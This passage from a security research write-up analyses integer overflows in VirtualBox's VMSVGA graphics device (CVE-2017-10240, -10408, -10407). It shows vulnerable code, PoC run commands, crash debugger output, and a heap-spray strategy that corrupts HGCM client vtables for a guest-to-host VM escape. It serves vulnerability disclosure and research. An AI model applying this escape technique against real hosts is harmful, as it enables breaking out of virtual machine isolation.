pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
}
</pre>
Here “cbSurfacePitch” and “cbSurface” calculations can overflow since “paMipLevelSizes” values are fully controlled by guest. Further RTMemAllocZ ends up allocating less buffer size than actually needed (due to invalid calculation of “cbSurface”). This could lead to out of bound read/write during usage of “pSurfaceData” in other SVGA commands. The provided PoC only demonstrates an invalid allocation which can be inspected in a debugger and does not trigger any crashes. However, this bug will be later used in the full VM escape exploit.<br />
<br />
<b>CVE-2017-10240 and CVE-2017-10408 – Multiple integer overflows in vmsvga3dSurfaceDMA (DevVGA-SVGA3d.cpp)</b>
<br />
<br />
<pre class="prettyprint">int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
{
. . .
for (unsigned i = 0; i < cCopyBoxes; i++)
{
. . .
if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width)
paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;
if ( !paBoxes[i].w
|| !paBoxes[i].h
|| !paBoxes[i].d
|| paBoxes[i].x > pMipLevel->size.width
|| paBoxes[i].y > pMipLevel->size.height
|| paBoxes[i].z > pMipLevel->size.depth)
{
. . .
continue;
}
uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
. . .
}
</pre>
In this case, first the “paBoxes” validation against “pMipLevel” can overflow leading to bypasses. Then “uDestOffset” validation against “pMipLevel->cbSurface” can also be bypassed due to integer overflow. Similar code patterns were found in multiple places. “uDestOffset” is used for computing “pBufferStart” argument during the call to vmsvgaGMRTransfer, leading to out of bound read or write based on the value of SVGA3dTransferType - SVGA3D_WRITE_HOST_VRAM or SVGA3D_READ_HOST_VRAM. The PoC for this bug accesses memory at an offset ~4GB from pMipLevel->pSurfaceData leading to crash. This bug can be exploited by spraying the heap and allocating the accessed memory region.<br />
<br />
<pre class="prettyprint">renorobert@ubuntu:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ make
gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess
renorobert@ubuntu:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ sudo ./poc
[sudo] password for renorobert:
</pre>
<br />
<pre class="prettyprint">[lldbinit] process attach --pid 14518
[-] warning: get_frame() failed. Is the target binary started?
Process 14518 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10
Target 0: (VirtualBoxVM) stopped.
Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM".
Architecture set to: x86_64h-apple-macosx.
[lldbinit] c
Process 14518 resuming
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x00007F976656CEB8 RBX: 0x0000000111C1C000 RBP: 0x00007000066CAC10 RSP: 0x00007000066CAC10 o d I t s Z a P c
RDI: 0x00007F976656CEB8 RSI: 0x0000000111C1C000 RDX: 0x0000000000000000 RCX: 0x4141414141414141 RIP: 0x00007FFF5FB78FD0
R8: 0x4141414141414141 R9: 0x0000000000000000 R10: 0x00000000FFFFFFFE R11: 0x00007F9654950EB8 R12: 0x0000000000000000
R13: 0x0000000000000001 R14: 0x00007F976656CEB8 R15: 0x0000000000000001
CS: 002B FS: 0000 GS: 0000
-----------------------------------------------------------------------------------------------------------------------[flow]
-----------------------------------------------------------------------------------------------------------------------[code]
_platform_memmove$VARIANT$Haswell @ libsystem_platform.dylib:
0x7fff5fb78fd0: 48 89 0f mov qword ptr [rdi], rcx
0x7fff5fb78fd3: 4c 89 04 17 mov qword ptr [rdi + rdx], r8
0x7fff5fb78fd7: 5d pop rbp
0x7fff5fb78fd8: c3 ret
0x7fff5fb78fd9: 48 83 c2 08 add rdx, 0x8
0x7fff5fb78fdd: 74 25 je 0x7fff5fb79004 ; <+228>
0x7fff5fb78fdf: 4d 31 c0 xor r8, r8
0x7fff5fb78fe2: 42 8a 0c 06 mov cl, byte ptr [rsi + r8]
-----------------------------------------------------------------------------------------------------------------------------
Process 14518 stopped
* thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
Target 0: (VirtualBoxVM) stopped.
[lldbinit] vmmap -a 0x00007F976656CEB8
[lldbinit] bt
* thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8)
* frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176
frame #1: 0x0000000110e1a6bf VBoxDD.dylib`___lldb_unnamed_symbol1154$$VBoxDD.dylib + 671
frame #2: 0x0000000110e2207d VBoxDD.dylib`___lldb_unnamed_symbol1178$$VBoxDD.dylib + 861
frame #3: 0x0000000110e1fa09 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3897
frame #4: 0x0000000107a17683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115
frame #5: 0x00000001059216dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44
frame #6: 0x00000001059a6222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194
frame #7: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340
frame #8: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377
frame #9: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13
[lldbinit]
</pre>
<br />
<br />
<b>CVE-2017-10407 - Integer overflow in vmsvgaGMRTransfer (DevVGA-SVGA.cpp)</b>
<br />
<br />
<pre class="prettyprint">int vmsvgaGMRTransfer(PVGASTATE pThis, const SVGA3dTransferType enmTransferType, uint8_t *pbDst, int32_t cbDestPitch,
SVGAGuestPtr src, uint32_t offSrc, int32_t cbSrcPitch, uint32_t cbWidth, uint32_t cHeight)
{
. . .
AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth <= pThis->vram_size,
("src.offset=%#x offSrc=%#x cbSrcPitch=%#x cHeight=%#x cbWidth=%#x vram_size=%#x\n",
src.offset, offSrc, cbSrcPitch, cHeight, cbWidth, pThis->vram_size),
VERR_INVALID_PARAMETER);
uint8_t *pSrc = pThis->CTX_SUFF(vram_ptr) + offSrc;
. . .
}
</pre>
The “offSrc” validation can overflow and the check against “vram_size” can be bypassed. This leads to out of bound read or write relative to the VRAM. vmsvgaGMRTransfer is used by multiple SVGA commands like SVGA_CMD_BLIT_GMRFB_TO_SCREEN, SVGA_3D_CMD_SURFACE_DMA, SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN etc.<br />
<br />
In SVGA_CMD_BLIT_GMRFB_TO_SCREEN, the “offsetDest” is validated against the vram_size. Hence the destination of write can only start from within VRAM buffer. However, the “offsetSource” can end up pointing beyond VRAM buffer at a controlled offset, providing reliable info leak.<br />
<br />
<pre class="prettyprint">case SVGA_CMD_BLIT_GMRFB_TO_SCREEN:
{
. . .
unsigned offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y;
unsigned offsetDest = (pCmd->destRect.left * RT_ALIGN(pThis->svga.uBpp, 8)) / 8 + pThis->svga.cbScanline * pCmd->destRect.top;
unsigned cbCopyWidth = (width * RT_ALIGN(pThis->svga.uBpp, 8)) / 8;
AssertBreak(offsetDest < pThis->vram_size);
rc = vmsvgaGMRTransfer(pThis, SVGA3D_WRITE_HOST_VRAM, pThis->CTX_SUFF(vram_ptr) + offsetDest, pThis->svga.cbScanline, pSVGAState->GMRFB.ptr, offsetSource, pSVGAState->GMRFB.bytesPerLine, cbCopyWidth, height);
</pre>
The PoC provided demonstrates OOB access relative to VRAM using SVGA_CMD_BLIT_GMRFB_TO_SCREEN and SVGA_3D_CMD_SURFACE_DMA.<br />
<br />
<b>Exploitation: </b><br />
<br />
There are various bugs providing numerous combinations and primitives. I chose to use the bugs in vmsvga3dSurfaceDefine and vmsvga3dSurfaceDMA to demonstrate a full VM escape:<br />
<br />
<pre class="prettyprint">int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
/* Allocate buffer to hold the surface data until we can move it into a D3D object */
for (uint32_t i = 0; i < cMipLevels; ++i)
{
PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i];
. . .
pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width;
pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth;
pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface);
AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY);
}
. . .
}
</pre>
Bugs in vmsvga3dSurfaceDefine() allows setting very large values for pMipmapLevel->size.width, pMipmapLevel->size.height and pMipmapLevel->size.depth but still end up allocating only the desired size heap chunks. This is very useful for further exploiting the integer overflows in vmsvga3dSurfaceDMA().<br />
<br />
<pre class="prettyprint">int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer,
uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes)
{
. . .
for (unsigned i = 0; i < cCopyBoxes; i++)
{
. . .
/* Apparently we're supposed to clip it (gmr test sample) */
if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width)
paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x;
if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height)
paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y;
if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth)
paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z;
if ( !paBoxes[i].w
|| !paBoxes[i].h
|| !paBoxes[i].d
|| paBoxes[i].x > pMipLevel->size.width
|| paBoxes[i].y > pMipLevel->size.height
|| paBoxes[i].z > pMipLevel->size.depth)
{
. . .
continue;
}
. . .
uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
. . .
rc = vmsvgaGMRTransfer(pThis,
transfer,
. . .
paBoxes[i].w * pSurface->cbBlock,
paBoxes[i].d * paBoxes[i].h);
. . .
}
</pre>
The first set of checks involving paBoxes can be bypassed since, pMipLevel width, height and depth are set to very large values in vmsvga3dSurfaceDefine(). Later these values are used for calculating the ‘uDestOffset’, which could be set to arbitrary value.<br />
<br />
<pre class="prettyprint">uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
</pre>
However, there is a validation following this:
<br />
<pre class="prettyprint"> AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
</pre>
<br />
<pre class="prettyprint">i.e. uDestOffset + ((paBoxes[i].w * pSurface->cbBlock) * (paBoxes[i].h * paBoxes[i].d)) <= pMipLevel->cbSurface
</pre>
Here one can set high values to either uDestOffset or (paBoxes[i].w * pSurface->cbBlock) or (paBoxes[i].h * paBoxes[i].d) to bypass the validation. In vmsvgaGMRTransfer(), (paBoxes[i].w * pSurface->cbBlock) and (paBoxes[i].h * paBoxes[i].d) are used in computing size arguments for memcpy() call. To keep sizes to sane values, let’s set uDestOffset to a large value, thus allowing read/write at an offset ~4GB from a surface allocation. <br />
<br />
There are 2 things which needs to be solved in order to exploit this bug:<br />
- Allocate the memory at offset ~4GB from a surface allocation<br />
- The memory allocated at this huge offset should have interesting pointers to corrupt which could lead to code execution<br />
<br />
In OSX, there are three types of allocations – tiny, small and large. For more details on the allocator refer the previous work [9] and [10]. Tiny and small heap allocations falls at an address range of 0x00007fxxxxx00000, whereas large allocations occupies another address range 0x00000001xxxxx000. Either of this heap allocation can be targeted to exploit this bug.<br />
<br />
My choice was to target the tiny and small heap allocations. This is primarily because I was aware of tiny allocations holding pointers to vtable and other memory allocations, which could be corrupted for code execution. However, spraying the entire 4GB memory with tiny allocations is a very slow process. OSX supports small allocations up to the size of 127KB. So the idea is to allocate as much as small chunks as possible to speed up the heap spray and smaller amount of heap spray with tiny chunks. <br />
<br />
<b>Allocating tiny chunks:</b><br />
<br />
For tiny chunks I targeted the allocations performed by HGCM (Host-Guest Communication Manager). Good amount of details about HGCM can be found in [11]. For this exploit, I used to HGCM connection objects for spraying. HGCM connections are initialized using the VMM virtual PCI device. The BAR0 of the device holds the I/O port address used for HGCM communication. Whenever an HGCM connection is initiated, a HGCMClient object of size 72 bytes is allocated in memory and client ID is returned. This is what the HGCMClient object looks like:<br />
<br />
<pre class="prettyprint">typedef struct _AVLULNodeCore
{
AVLULKEY Key; /** Key value. */
struct _AVLULNodeCore *pLeft; /** Pointer to left leaf node. */
struct _AVLULNodeCore *pRight; /** Pointer to right leaf node. */
unsigned char uchHeight; /** Height of this tree: max(height(left), height(right)) + 1 */
} AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE;
typedef struct _ObjectAVLCore
{
AVLULNODECORE AvlCore;
void *pSelf; // type HGCMObject
} ObjectAVLCore;
struct HGCMClient {
void *vptr_HGCMObject;
uint32_t m_cRefs;
uint32_t m_enmObjType; // HGCMOBJ_TYPE enum
ObjectAVLCore m_core;
void *pService; // type HGCMService
void *pvData;
uint64_t padding;
} HGCMClient;
</pre>
Creation and allocations of HGCMClient are done by HGCMService::CreateAndConnectClient in src/VBox/Main/src-client/HGCM.cpp. The client objects are maintained using a AVL tree. The nodes have client ID’s as key and also holds a pointer to object itself. During exploitation, we avoid corrupting the AVL tree metadata to prevent any crashes during lookup or insertion of AVL tree nodes. Further, the vtable of HGCMClient can be corrupted for gaining RIP control.<br />
<br />
The deletion of HGCMClient objects happens during HGCM disconnect, which is handled by HGCMService::DisconnectClient where the corrupted vtable gets used.<br />
<br />
<pre class="prettyprint">int HGCMService::DisconnectClient(uint32_t u32ClientId, bool fFromService)
{
. . .
HGCMMsgSvcDisconnect *pMsg = (HGCMMsgSvcDisconnect *)hgcmObjReference(hMsg, HGCMOBJ_MSG);
AssertRelease(pMsg);
pMsg->u32ClientId = u32ClientId;
hgcmObjDereference(pMsg); // use of corrupted vtable on deletion
. . .
}
</pre>
<br />
<b>Allocating small chunks:</b><br />
<br />
In order to fill 4GB, small chunks are much faster option compared to tiny chunks. SVGA_3D_CMD_SURFACE_DEFINE command can be used to allocate chunks of arbitrary size. <br />
<br />
<pre class="prettyprint">int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format,
SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount,
SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes)
{
. . .
AssertReturn(sid < SVGA3D_MAX_SURFACE_IDS, VERR_INVALID_PARAMETER);
. . .
pSurface = pState->papSurfaces[sid];
/* If one already exists with this id, then destroy it now. */
if (pSurface->id != SVGA3D_INVALID_ID)
vmsvga3dSurfaceDestroy(pThis, sid);
. . .
}
</pre>
vmsvga3dSurfaceDefine() allows a maximum of SVGA3D_MAX_SURFACE_IDS (32 * 1024) unique surface allocations. With surfaces of size 127KB, this is a good enough limit to fill ~4GB of memory.
Since the pages were allocated towards the lower addresses of heap, initially the HGCMClient objects are allocated followed by the surface allocations. This is what the memory layout looks like after the heap spray:
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgab7LcfufzWoou4ctu5ldYcm6ABRtDLVVhb8TegW2nQX5hRHCDnEbRY6V2g0xBXIoIGyN_zbL4dkrvam7Ilvq-ANM5n_eqJkOvixosGg45z0BKG2pRTK7487mO27jBXybgV6BWe_OERTft/s1600/Untitled+drawing+%25286%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="500" data-original-width="343" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgab7LcfufzWoou4ctu5ldYcm6ABRtDLVVhb8TegW2nQX5hRHCDnEbRY6V2g0xBXIoIGyN_zbL4dkrvam7Ilvq-ANM5n_eqJkOvixosGg45z0BKG2pRTK7487mO27jBXybgV6BWe_OERTft/s320/Untitled+drawing+%25286%2529.png" width="220" /></a></div>
<b>Memory layout before spray:</b><br />
<br />
<pre class="prettyprint"><span class="inner-pre" style="font-size: 10px;">
Stack 00007000060c1000-0000700006143000 thread 29
MALLOC_TINY 00007ff16b400000-00007ff16b500000 [ 1024K 684K 684K 316K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16b500000-00007ff16b700000 [ 2048K 792K 792K 1256K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16b700000-00007ff16b800000 [ 1024K 840K 840K 184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 1332K 1332K 2160K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff16c06e000-00007ff16d800000 [ 23.6M 2600K 2600K 4288K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16d800000-00007ff16d900000 [ 1024K 484K 484K 540K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16d900000-00007ff16da00000 [ 1024K 364K 364K 660K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 20K 20K 12K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 448K 448K 492K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 368K 368K 60K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY 00007ff170400000-00007ff170600000 [ 2048K 84K 84K 948K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff170800000-00007ff171000000 [ 8192K 4K 4K 96K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_SMALL 00007ff171000000-00007ff171800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
STACK GUARD 00007ffee50b0000-00007ffee88b0000 [ 56.0M 0K 0K 0K] ---/rwx SM=NUL stack guard for thread 0
</span></pre>
<br />
<b>Memory layout after spray:</b><br />
<br />
<pre class="prettyprint"><span class="inner-pre" style="font-size: 10px;">
Stack 000070000624a000-00007000062cc000 [ 520K 12K 12K 0K] rw-/rwx SM=PRV thread 35
MALLOC_SMALL 00007ff06b800000-00007ff079800000 [224.0M 209.3M 209.3M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff07b800000-00007ff08b000000 [248.0M 243.4M 243.4M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff08b400000-00007ff08b500000 [ 1024K 244K 244K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff08b800000-00007ff0c2800000 [880.0M 863.7M 863.7M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff0c2800000-00007ff0c3000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff0c3000000-00007ff0ec800000 [664.0M 532.9M 532.9M 118.8M] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff0ec800000-00007ff0ed000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff0ed000000-00007ff0fb000000 [224.0M 217.3M 217.3M 2588K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff0fb400000-00007ff0fb500000 [ 1024K 184K 184K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff0fb800000-00007ff12b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff12b400000-00007ff12b500000 [ 1024K 936K 936K 4K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff12b800000-00007ff139000000 [216.0M 212.0M 212.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff139000000-00007ff139800000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff139800000-00007ff13b000000 [ 24.0M 23.6M 23.6M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff13b400000-00007ff13b500000 [ 1024K 1016K 1016K 8K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff13b800000-00007ff16b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16b400000-00007ff16b800000 [ 4096K 2464K 2464K 1632K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 6592K 6592K 1828K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff16c06e000-00007ff16d000000 [ 15.6M 14.0M 14.0M 1440K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff16d000000-00007ff16d800000 [ 8192K 5608K 5608K 2312K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16d800000-00007ff16da00000 [ 2048K 864K 864K 1184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 24K 24K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 940K 940K 84K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 988K 988K 36K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_TINY 00007ff170400000-00007ff170500000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff170500000-00007ff170800000 [ 3072K 3072K 3072K 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff170800000-00007ff171000000 [ 8192K 4K 4K 96K] rw-/rwx SM=COW GFXMallocZone_0x107072000
MALLOC_SMALL 00007ff171000000-00007ff171800000 [ 8192K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
MALLOC_TINY 00007ff171800000-00007ff172a00000 [ 18.0M 18.0M 18.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff172a00000-00007ff172b00000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff172b00000-00007ff173800000 [ 13.0M 13.0M 13.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff173800000-00007ff173900000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff173900000-00007ff174800000 [ 15.0M 15.0M 15.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff174800000-00007ff174900000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff174900000-00007ff174b00000 [ 2048K 2048K 2048K 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff174b00000-00007ff174c00000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff174c00000-00007ff175000000 [ 4096K 4096K 4096K 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff175000000-00007ff175100000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff175100000-00007ff175b00000 [ 10.0M 10.0M 10.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff175b00000-00007ff175c00000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff175c00000-00007ff176600000 [ 10.0M 10.0M 10.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
MALLOC_TINY 00007ff176600000-00007ff176900000 [ 3072K 2352K 2352K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
MALLOC_SMALL 00007ff177000000-00007ff17b000000 [ 64.0M 62.8M 62.8M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
